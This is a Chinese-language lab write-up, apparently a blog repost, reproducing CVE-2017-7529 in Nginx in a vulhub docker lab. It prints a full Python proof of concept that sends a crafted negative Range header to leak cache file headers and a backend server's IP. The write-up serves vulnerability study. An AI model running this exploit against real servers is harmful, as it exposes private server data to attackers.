漏洞復現-CVE-2017-7529-敏感信息泄露


 
 
 
 
 
 
 

0x00 實驗環境

攻擊機:win10

靶機:Ubuntu18 (docker搭建的vulhub靶場)

0x01 實驗目的

盡管這是一個低危漏洞,且利用率較低,但我們仍然可以好好的復現一下,以此來了解更多的nginx漏洞風險。默認配置模塊的Nginx只需要開啟緩存攻擊者即可發送惡意請求進行遠程攻擊造成信息泄露。

0x02 實驗引用

(1)出現在靶場具有python3的內部環境

(2)外網復現失敗,說明不可外部讀取敏感信息

(3)影響版本:Nginx 的 0.5.6 - 1.13.2版本

0x03 實驗步驟

這里的靶場開啟我就不再介紹

打開靶場環境:CVE-2017-7529

 

 這里我們可以直接在靶場內部環境讀取數據(在靶場外部無法讀取成功,我覺得這個漏洞真是低危得不能再低危了)

輸入:

python3 poc.py http://your-ip:8080/

 

 

即可復現成功

 查看poc.py源碼:

#!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%s url" % (sys.argv[0])) print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range'] = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n) r = requests.get(url, headers=headers)

 

0x04 實驗原理

(1)由於對http header中range域處理不當造成。

(2)主要代碼是ngx_http_range_parse函數中的循環。

(3)Nginx在反向代理站點的時候,通常會將一些文件進行緩存,特別是靜態文件。緩存的部分存儲在文件中,每個緩存文件包括“文件頭”+“HTTP返回包頭”+“HTTP返回包體”。如果二次請求命中了該緩存文件,則Nginx會直接將該文件中的“HTTP返回包體”返回給用戶。

(4)如果我們的請求中包含Range頭,Nginx將會根據我指定的start和end位置,返回指定長度的內容。而如果我構造了兩個負的位置,如(-600, -9223372036854774591),將可能讀取到負位置的數據。如果這次請求又命中了緩存文件,則可能就可以讀取到緩存文件中位於“HTTP返回包體”前的“文件頭”、“HTTP返回包頭”等內容。當Nginx服務器使用代理緩存的情況下,攻擊者通過利用該漏洞可以拿到服務器的后端真實IP。

 

參考:

https://blog.csdn.net/qq_41832837/article/details/104045440

https://blog.csdn.net/qq_29647709/article/details/85076309?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM